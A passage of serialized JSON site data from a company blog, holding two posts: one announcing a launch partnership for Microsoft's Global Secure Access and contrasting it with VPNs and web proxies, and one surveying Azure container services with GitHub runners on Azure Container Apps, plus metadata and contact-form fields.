Vulnerabilities","https://res.cloudinary.com/c4a8/image/upload/blog/pics/defender-portal-vulnerabilites.png",{"title":863,"searchDepth":864,"depth":864,"links":20389},[20390,20391,20392,20393,20397,20398,20399],{"id":20117,"depth":864,"text":20118},{"id":20129,"depth":864,"text":20130},{"id":20158,"depth":864,"text":20159},{"id":20191,"depth":864,"text":20192,"children":20394},[20395,20396],{"id":20197,"depth":1810,"text":20198},{"id":20221,"depth":1810,"text":20222},{"id":20261,"depth":864,"text":20262},{"id":20289,"depth":864,"text":20290},{"id":20310,"depth":864,"text":20311},{"lang":872,"seoTitle":20111,"titleClass":874,"date":20401,"categories":20402,"blogtitlepic":20403,"socialimg":20404,"customExcerpt":20405,"keywords":20406,"contactInContent":20407,"hreflang":20426,"scripts":20431},"2024-10-17",[371],"head-end-of-support","/blog/heads/head-end-of-support.jpg","Would you trust an airplane with critical failures to get you safely to your destination? Then why trust your Windows Server 2012 R2 to keep your business secure? With over 35 critical vulnerabilities, running end-of-life systems could be your organization's greatest risk. Discover how to protect your infrastructure before it’s too late – because in today’s threat landscape, there’s no room for error.","Global Secure Access, SSE, Microsofts SSE, Private Access, Internet Access, VPN replacement, Zero Trust Network Access, Network security",{"quote":749,"infos":20408},{"bgColor":18507,"color":885,"boxBgColor":18508,"boxColor":18509,"headline":18510,"subline":20409,"level":810,"textStyling":888,"flush":889,"person":20410,"form":20414},"Would you like to learn more about End-of-Life (EOL) and End-of-Support (EOS) systems? Feel free to reach out! We look forward to hearing from you!",{"image":18513,"cloudinary":508,"alt":18514,"name":18514,"detailsHeader":18515,"details":20411},[20412,20413],{"text":762,"href":899,"details":6062,"icon":901},{"text":763,"href":903,"icon":904},{"ctaText":18520,"cta":20415,"method":870,"action":909,"fields":20416},{"skin":908},[20417,20418,20419,20420,20421,20422,20424,20425],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":3688,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":943,"value":20423},"Request EOS EOL Systems",{"type":912,"id":946,"value":947},{"type":912,"id":949},[20427,20429],{"lang":4,"href":20428},"/blog/security/2024/10/end-of-support-operating-systems-de",{"lang":956,"href":20430},"/blog/security/2024/10/end-of-support-operating-systems-es",{"slick":508,"form":508},"/posts/2024-10-17-end-of-support-operating-systems",{"title":20111,"description":863},"posts/2024-10-17-end-of-support-operating-systems",[20436,20437,20438,20439,20440],"Cyber Security","Windows Server","Security Risk","Vulnerability Management","Security Score","UkZo9wp7U1g1sCU24MyRs-2TGhtnTR0RYp5trJDXzMg",{"id":20443,"title":20444,"author":20445,"body":20446,"cta":764,"description":20559,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":20560,"moment":20562,"navigation":508,"path":20591,"seo":20592,"stem":20593,"tags":20594,"webcast":749,"__hash__":20596},"content_en/posts/2024-07-18-gsa-launch-partner.md","glueckkanja is Launch Partner for Microsoft's SSE Solution",[1065],{"type":803,"value":20447,"toc":20554},[20448,20457,20464,20467,20470,20473,20477,20479,20482,20488,20491,20505,20509,20511,20514,20517,20525,20531,20534,20537,20545,20549,20551],[806,20449,20450,20451,20456],{},"glueckkanja has been announced as one of the ",[833,20452,20455],{"href":20453,"rel":20454},"https://learn.microsoft.com/en-us/entra/global-secure-access/how-to-find-microsoft-services-partners",[1410],"‘Product Launch Partners’"," for Microsoft's Security Service Edge (SSE) solution, Global Secure Access, including Microsoft Entra Internet & Private Access.",[806,20458,20459,20460,20463],{},"With many years of experience in a 100% cloud approach, we offer extensive support in implementing a consistent Zero Trust design, and ",[833,20461,432],{"href":20462},"/en/security/global-secure-access/"," fits seamlessly into this strategy! It is now a key component of our modern workplace and identity-centric security blueprint, starting from proof of concept to managed services.",[806,20465,20466],{},"We have been working on workplace and security projects for years, successfully separating clients from the data center and deploying highly efficient, secure cloud-managed clients. However, a modern 100% cloud client does not automatically eliminate legacy environments; it still needs to access services within them. In addition, many security teams believe that security capabilities are necessary beyond the client, within the network stack.",[806,20468,20469],{},"Unfortunately, in many projects, we observed our Future Workplace clients being integrated into the data center environments using outdated VPN solutions, and various 'Zero Trust' solutions were obstructing traffic between the clients and Microsoft 365.",[806,20471,20472],{},"We are therefore very pleased to be able to use from now on Entra Private Access, a genuine identity-centric Zero Trust Network Access for the most complex data center environments as a replacement for VPN solutions. Additionally, we will also use Entra Internet Access, an identity-centric Secure Web Gateway solution with Conditional Access integration, in our projects.",[810,20474,20476],{"id":20475},"what-is-global-secure-access","What is Global Secure Access?",[806,20478,816],{},[806,20480,20481],{},"Global Secure Access is designed to deliver security services through the cloud, supporting managed devices across all major platforms. This includes integration with identity providers and security tools such as XDR or SIEM.",[806,20483,20484],{},[1449,20485],{"alt":20486,"src":20487},"GSA Architecture","https://res.cloudinary.com/c4a8/image/upload/v1721295305/blog/pics/gsa-architecture.png",[806,20489,20490],{},"The architecture of the SSE solution is divided into two main areas, each with different components:",[2733,20492,20493,20499],{},[2736,20494,20495,20498],{},[1732,20496,20497],{},"Internet Access"," features an identity-centered Secure Web Gateway (SWG) that functions similarly to a forward proxy. It not only protects against malware and other threats but also performs URL category filtering.",[2736,20500,20501,20504],{},[1732,20502,20503],{},"Private Access"," is an identity-centered Zero Trust Network Access (ZTNA) solution that allows granular and consistent access to non-public applications regardless of their location, implementing detailed context-based access control.",[810,20506,20508],{"id":20507},"what-is-the-difference-between-global-secure-access-and-my-vpn-gateway-proxy","What is the difference between Global Secure Access and my VPN gateway / proxy?",[806,20510,816],{},[806,20512,20513],{},"Both Entra Internet Access and Entra Private Access feature Conditional Access integration, enabling strong authentication and device compliance enforcement, including Microsoft Defender for Endpoint integration, at the authentication layer. Microsoft is also working on additional enforcement mechanisms at the data layer through Continuous Access Evaluation to address advanced token theft scenarios.",[806,20515,20516],{},"Even newer VPN gateways typically cover the initial authentication of the user via RADIUS or SAML, granting access to the environment – often for an exented period – regardless of whether the user or client is involved in a security incident. This one-time authenticated access generally applies to the entire internal network, with the same set of rules applicable to all users.",[3589,20518,20519],{},[806,20520,20521,20524],{},[1732,20522,20523],{},"Entra Private Access"," is designed to combine individual network segments into Enterprise Apps, then individually assign, authenticate and restrict users with Conditional Access.",[806,20526,20527],{},[1449,20528],{"alt":20529,"src":20530},"Full Tunnel vs App based Tunnel","https://res.cloudinary.com/c4a8/image/upload/v1721295307/blog/pics/tunnel-comparison.png",[806,20532,20533],{},"In my experience, the primary issue with secure web gateways is the poor integration with identity providers. While the early variants brought ADFS farms to their knees with masses of SAML requests causing massive disruptions, the providers have now moved to one-time authentication and then work with their own long-lived cookies.",[806,20535,20536],{},"The second major issue is the exclusion of Microsoft URLs and IPs from the proxy ruleset. This simply does not need a proxy between the client and trusted services such as M365, and in fact causes various problems and performance loss. I have yet to see a provider where this works without an accident.",[3589,20538,20539],{},[806,20540,20541,20544],{},[1732,20542,20543],{},"Entra Internet Access"," is part of most enterprise cloud identity providers and has very strong Conditional Access integration.",[810,20546,20548],{"id":20547},"would-you-like-to-know-more-about-it","Would you like to know more about it?",[806,20550,816],{},[806,20552,20553],{},"We have extensive experience in the areas of identity, security, workplace and network. With Global Secure Access, we bring all these aspects together. Say goodbye to outdated VPN and web proxy solutions and take full advantage of the possibilities of Microsoft's SSE solution. We look forward to hearing from you!",{"title":863,"searchDepth":864,"depth":864,"links":20555},[20556,20557,20558],{"id":20475,"depth":864,"text":20476},{"id":20507,"depth":864,"text":20508},{"id":20547,"depth":864,"text":20548},"glueckkanja has been announced as one of the ‘Product Launch Partners’ for Microsoft's Security Service Edge (SSE) solution, Global Secure Access, including Microsoft Entra Internet & Private Access.",{"lang":872,"seoTitle":20561,"titleClass":874,"date":20562,"categories":20563,"blogtitlepic":20564,"socialimg":20565,"customExcerpt":20566,"keywords":20406,"contactInContent":20567,"hreflang":20585,"scripts":20590},"glueckkanja is Product Launch Partner for Microsoft’s Security Service Edge (SSE) solution","2024-07-18",[371],"head-global-secure-access","/blog/heads/head-global-secure-access.jpg","Thrilled to announce our role as ‘Product Launch Partner' for Microsoft's Security Service Edge (SSE) solution, Global Secure Access, which includes Microsoft Entra Internet & Private Access. Our collaboration with Microsoft in several private previews has refined these features to benefit not just our teams but also our customers, integrating their needs into a seamless and secure cloud experience. Discover how our expertise in a 100% cloud-based approach and Zero Trust design is transforming modern workplace and identity-centric security.",{"quote":749,"infos":20568},{"bgColor":18507,"color":885,"boxBgColor":18508,"boxColor":18509,"headline":18510,"subline":20569,"level":810,"textStyling":888,"flush":889,"person":20570,"form":20574},"Would you like to learn more about Microsoft's SSE Solution? We would be happy to introduce our approach in person and support you with our experience in implementing this solution. We look forward to hearing from you!",{"image":18513,"cloudinary":508,"alt":18514,"name":18514,"detailsHeader":18515,"details":20571},[20572,20573],{"text":762,"href":899,"details":6062,"icon":901},{"text":763,"href":903,"icon":904},{"ctaText":18520,"cta":20575,"method":870,"action":909,"fields":20576},{"skin":908},[20577,20578,20579,20580,20581,20582,20583,20584],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":3688,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":943,"value":19795},{"type":912,"id":946,"value":947},{"type":912,"id":949},[20586,20588],{"lang":4,"href":20587},"/blog/security/2024/07/gsa-launch-partner",{"lang":956,"href":20589},"/blog/security/2024/07/gsa-launch-partner-es",{"slick":508,"form":508},"/posts/2024-07-18-gsa-launch-partner",{"title":20444,"description":20559},"posts/2024-07-18-gsa-launch-partner",[432,4259,20595,371],"VPN Replacement","brGy1mnWlwJt-KMUIRcFlJ5FVhcLajp-9CObCsdjfe0",{"id":20598,"title":20599,"author":20600,"body":20601,"cta":764,"description":20605,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":20734,"moment":20736,"navigation":508,"path":20768,"seo":20769,"stem":20770,"tags":20771,"webcast":749,"__hash__":20774},"content_en/posts/2024-07-12-containers-on-azure.md","Azure Container Services - modern, efficient and indispensable",[1201],{"type":803,"value":20602,"toc":20728},[20603,20606,20609,20612,20616,20618,20621,20624,20654,20657,20660,20664,20666,20669,20675,20678,20681,20684,20687,20691,20693,20696,20702,20711,20717,20720,20723,20725],[806,20604,20605],{},"In today's fast-paced world, businesses constantly face new challenges that require swift and flexible solutions. A key technology that meets these demands is containers. They enable efficient software development and deployment processes, keeping pace with the rapid tempo of digital transformation.",[806,20607,20608],{},"Containers, the building blocks of modern CI/CD workflows, offer a minimalist and efficient runtime environment that includes only the essential components needed to run an application. By separating additional components provided by the host system, containers significantly reduce startup and update times.",[806,20610,20611],{},"The question now arises: how can this potential be best utilized and managed?",[810,20613,20615],{"id":20614},"container-solutions-on-azure","Container Solutions on Azure",[806,20617,816],{},[806,20619,20620],{},"Microsoft Azure offers a wide range of options for running containers, from fully managed solutions where Microsoft handles most of the infrastructure configuration, to lightly managed solutions where you maintain control over the host system management.",[806,20622,20623],{},"Here is a list of container hosting options on Azure from light to fully managed:",[2733,20625,20626,20633,20640,20647],{},[2736,20627,20628],{},[833,20629,20632],{"href":20630,"rel":20631},"https://learn.microsoft.com/en-us/azure/aks/what-is-aks",[1410],"Azure Kubernetes Services (AKS)",[2736,20634,20635],{},[833,20636,20639],{"href":20637,"rel":20638},"https://learn.microsoft.com/en-us/azure/container-instances/container-instances-overview",[1410],"Azure Container Instances (ACI)",[2736,20641,20642],{},[833,20643,20646],{"href":20644,"rel":20645},"https://azure.microsoft.com/en-us/products/app-service/containers/?activetab=pivot:deploytab",[1410],"Azure WebApp for Containers",[2736,20648,20649],{},[833,20650,20653],{"href":20651,"rel":20652},"https://learn.microsoft.com/en-us/azure/container-apps/overview",[1410],"Azure Container Apps (ACA)",[806,20655,20656],{},"Each service offers its own benefits depending on the intended use case.",[806,20658,20659],{},"Azure Container Registry (ACR) allows for the central storage of containers within your own Azure environment, providing an integrated solution to use ACR as the source for the container images you deploy.",[810,20661,20663],{"id":20662},"spotlight-azure-container-apps","Spotlight: Azure Container Apps",[806,20665,816],{},[806,20667,20668],{},"Azure Container Apps (ACA) represent Microsoft's latest container hosting option. Unlike AKS, Microsoft completely manages the underlying Kubernetes, including updates, upgrades, and scaling.",[806,20670,20671],{},[1449,20672],{"alt":20673,"src":20674},"Container Apps Basic","https://res.cloudinary.com/c4a8/image/upload/v1720794093/blog/pics/azure-container-apps-example-scenarios.png",[806,20676,20677],{},"ACA is based on an Azure Container App Environment, where Microsoft provides fully managed Kubernetes resources that applications can utilize. Different workload profiles offer various combinations of CPU/RAM and the option to use GPU systems.",[806,20679,20680],{},"The main advantage of this solution is that you can focus solely on your application and its specific configuration, without having to manage the cluster.",[806,20682,20683],{},"ACA offers versatile ways to easily connect applications with other Azure services. For example, FileShares from an Azure Storage Account can be integrated into your containers to secure persistent data between restarts or application version changes.",[806,20685,20686],{},"Another feature of ACA is A/B or Green/Blue testing, where two versions of an application are run simultaneously. Incoming traffic is split between the running instances, enabling quick insights into the current development stage and allowing immediate bug fixes.",[810,20688,20690],{"id":20689},"practical-example-github-runner-on-azure-container-apps","Practical Example: GitHub Runner on Azure Container Apps",[806,20692,816],{},[806,20694,20695],{},"A practical example: CI/CD workflows require an environment in which they can be executed. GitHub, as well as Azure DevOps and other providers, offer public agents where workflows can run. These runners are managed by GitHub and communicate through public endpoints. However, if you need access to internal resources or prefer not to work on public systems, these runners can also be operated in your own network.",[806,20697,20698],{},[1449,20699],{"alt":20700,"src":20701},"GitHub Workflow Classic","https://res.cloudinary.com/c4a8/image/upload/v1720794093/blog/pics/azure-workflow-basic.png",[806,20703,20704,20705,20710],{},"Traditionally, 24/7 running virtual machines were used for this purpose. Azure Container Apps offer a cost-efficient and scalable alternative. Using KEDA (",[833,20706,20709],{"href":20707,"rel":20708},"https://keda.sh/",[1410],"Kubernetes Event Driven Autoscaler","), a connection to your own GitHub environment is established. ACA monitors whether a workflow has started, launches a container to execute the workflow, and then removes it afterwards. If no workflow is running, no container is started, keeping costs low.",[806,20712,20713],{},[1449,20714],{"alt":20715,"src":20716},"GitHub Workflow with Container Apps","https://res.cloudinary.com/c4a8/image/upload/v1720794093/blog/pics/azure-workflow-container-app.png",[806,20718,20719],{},"The scalability of the solution is another advantage, as each workflow creates a separate container instance. Compared to a virtual machine, where usually only a single agent serves a workflow, this offers a flexible and efficient alternative.",[810,20721,11119],{"id":20722},"summary",[806,20724,816],{},[806,20726,20727],{},"Containers provide an excellent opportunity to modernize your own development and deployment of applications. Microsoft Azure, with its comprehensive portfolio of services, offers the right solution, whether you want to manage it yourself or fully focus on your application.",{"title":863,"searchDepth":864,"depth":864,"links":20729},[20730,20731,20732,20733],{"id":20614,"depth":864,"text":20615},{"id":20662,"depth":864,"text":20663},{"id":20689,"depth":864,"text":20690},{"id":20722,"depth":864,"text":11119},{"lang":872,"seoTitle":20735,"titleClass":874,"date":20736,"categories":20737,"blogtitlepic":20738,"socialimg":20739,"customExcerpt":20740,"keywords":20741,"contactInContent":20742,"hreflang":20762,"scripts":20767},"Optimizing cloud deployment: container solutions on Azure at a glance","2024-07-15",[199],"head-containers-on-azure","/blog/heads/head-containers-on-azure.jpg","Faster, leaner, more efficient – container technology is transforming the way businesses develop and deploy software. Learn more about how Microsoft Azure serves as a leading platform for hosting containers and how it can significantly enhance the agility and scalability of your applications.","Azure Container Solutions, Microsoft Azure, Container Technology, CI/CD Integration, Kubernetes Management, Application Deployment, Cloud Services, Software Development, Scalable Infrastructure, DevOps Tools",{"quote":749,"infos":20743},{"bgColor":20744,"color":18509,"boxBgColor":761,"boxColor":885,"headline":18510,"subline":20745,"level":810,"textStyling":888,"flush":889,"person":20746,"form":20750},"var(--color-secondary)","Would you like to learn more about containers on Azure? We would be happy to introduce our approach in person and support you with our experience in implementing container solutions. We look forward to hearing from you!",{"image":18513,"cloudinary":508,"alt":18514,"name":18514,"detailsHeader":18515,"details":20747},[20748,20749],{"text":762,"href":899,"details":6062,"icon":901},{"text":18669,"href":18670,"icon":904},{"ctaText":18520,"cta":20751,"method":870,"action":909,"fields":20752},{"skin":908},[20753,20754,20755,20756,20757,20758,20760,20761],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":3688,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":943,"value":20759},"Request Azure Network Management",{"type":912,"id":946,"value":947},{"type":912,"id":949},[20763,20765],{"lang":4,"href":20764},"/blog/azure/2024/07/containers-on-azure",{"lang":956,"href":20766},"/blog/azure/2024/07/containers-on-azure-es",{"slick":508,"form":508},"/posts/2024-07-12-containers-on-azure",{"title":20599,"description":20605},"posts/2024-07-12-containers-on-azure",[199,20106,20772,20773],"Development","CI/CD-Workflow","gVsruLSpjcmQEDmJiFQOENGBlx9CNiyLRYh6VQOjy1I",1782490273792]